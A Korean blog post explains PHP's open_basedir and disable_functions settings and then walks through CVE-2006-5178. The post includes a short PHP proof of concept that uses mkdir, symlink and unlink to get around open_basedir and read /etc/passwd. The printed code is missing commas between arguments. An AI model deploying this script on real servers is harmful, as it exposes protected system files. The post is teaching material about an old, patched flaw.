웹/웹 보안

CVE-2006-5178

비니화이팅 2018. 9. 9. 00:11

본 글은 ubuntu 18.04, php7.2를 기준으로 작성하였습니다.

(php 7.2버전에서는 해당 취약점이 패치가 되었나봅니당 php4.x나 5.x로 다시 확인 예정!)



what is open_basedir?

open_basedir을 이용하면 함수(shell함수 제외)를 사용하여 파일에 접근할 수 있는 것을 제한할 수 있습니다.

설정한 디렉터리에 있는 파일에만 접근할 수 있도록 제한해줍니다.

예를 들면, open_basdir=/var/www/html 으로 설정하면 html디렉터리 및 html디렉터리의 하위디렉터리에 있는 파일에만 접근할 수 있습니다.해당 디렉터리를 제외한 나머지 디렉터리는 제한됩니다.



Set open_basedir!

/etc/php/7.2/apache2/php.ini파일에서 설정해주면 됩니다.

:를 구분자로 하여 여러 경로를 지정할 수 있습니다.



위에서 "함수(shell함수 제외)"를 사용하여 파일에 접근할 수 있는 것을 제한할 수 있다고 했습니다.

해당 함수는 file_get_contents(), file_put_contents(), fopen(), scandir(), opendir(), glob(), include, require 등이 있습니다.



include함수로 예를 들어보겠습니다.

우선 /var/www/a.txt파일을 만들었습니다.



php.ini파일의 open_basedir설정을 아래와 같이 하지 않은 상태입니다.(주석처리)



include함수를 이용하여/etc/passwd파일을 열어봅니다.



/etc/passwd 파일이 잘 보이네요



이번에는 open_basedir설정을 하고나면 어떻게 다른지 확인해보도록 하겠습니다.

아래와 같이 /var/www/html로 open_basedir을 설정해주었습니다.

/var/www/html 디렉터리를 제외한 디렉터리는 접근이 안될것으로 예상이 됩니다.



마찬가지로 확인해보면 /etc/passwd 파일이 보이지 않는 것을 알 수 있습니다.


하지만 open_basedir을 이용하여 파일 접근을 제한해주더라도 shell함수를 이용하여 해당 파일에 접근하는 것은 제한할 수 없습니다.


이럴때는 disable_functions옵션을 이용해주면 됩니다.



What is disable_functions?

disable_functions로 지정한 함수들은 호출이 불가능하게 만들 수 있습니다. 즉, 위에서 못 막았던 shell함수도 다 막을 수 있습니다.



Set disable_functions!

/etc/php/7.2/apache2/php.ini파일에서 설정해주면 됩니다.



이렇게 open_basedir과disable_fuctions옵션을 이용하여 /var/www/html디렉터리를 제외한 디렉터리에 접근을 못하게 제한하고, shell함수도 사용하지 못하도록 제한해 놓는다면 이를 우회하는 방법은 없을까요?


정답은 No!! CVE-2006-5178 취약점을 이용하면 우회할 수 있습니다.



CVE-2006-5178 open_basedir bypass via symlink()

symlink()를 이용하여 open_basedir제한을 우회하는 취약점입니다.

공격자가 서버에 symlink, mkdir, unlink 을 이용한 PHP 스크립트를 업로드하면 open_basedir로 제한이 되어 있더라도 웹 서버의 파일을 읽거나 쓸 수 있습니다.



Let's do this!

현재 아래와 같이 설정되어있는 상태입니다. 



따라서 /var/www/html디렉터리를 제외한 디렉터리의 파일은 접근이 불가능합니다. 이를 우회하여 /etc/passwd파일을 열어보도록 하겠습니다



원리를 알아봅시다!!



먼저 /var/www/html디렉터리 밑에 a/a/a/a/a/a/디렉터리를 생성합니다.

a/a/a/a/a/a/디렉터리와 링크된 dummy심볼릭 링크 파일을 생성합니다.

또 dummy/../../../../../../etc/passwd파일과 링크된 xxx심볼릭 링크 파일을 생성합니다!

여기서 dummy는 a/a/a/a/a/a/과 링크되어있기 때문에 a/a/a/a/a/a/../../../../../../etc/passwd와 마찬가지입니다

a/a/a/a/a/a/../../../../../../etc/passwd는 경로가 잘못되었기 때문에 우리가 원하는 /etc/passwd파일을 가리키지 않습니다



이 상태에서 dummy 심볼릭링크 파일을 삭제해줍니다. xxx는 남아있는 상태입니다.



다시 dummy디렉터리를 만들어줍니다

그러면 dummy/../../../../../../etc/passwd가 되겠죠? 이제 경로가 올바르게 지정되어서 /etc/passwd파일을 가리키게 됩니다.



xxx를 열어보면 /etc/passwd파일이 보입니다



요걸 php스크립트로 작성합니다.

1
2
3
4
5
6
7
8
9
<?php
    mkdir("a/a/a/a/a/a/"0777, true);
    symlink("a/a/a/a/a/a/""dummy");
    symlink("dummy/../../../../../../etc/passwd""xxx");
    unlink("dummy");
    mkdir("dummy");
 
    include 'xxx';
?>
cs


올려봅니다


/etc/passwd파일이 노출된 것을 확인할 수 있습니다. (7.2버전은 패치가 된 것 같아서 일단 open_basedir을 해제했습니다. 어쨋든!이러한 원리로 open_basedir을 우회할수있습니다.)





[참고]

본 글은 제 18회 해킹캠프 'Security Option Bypass 101' - 문시우님의 발표자료를 참고하여 작성하였습니다!!!

(혹시나 문제가 있으면 알려주세요..!바로 글 내릴게욧ㅠㅠ!)


http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5178 

https://www.jb51.net/article/141767.htm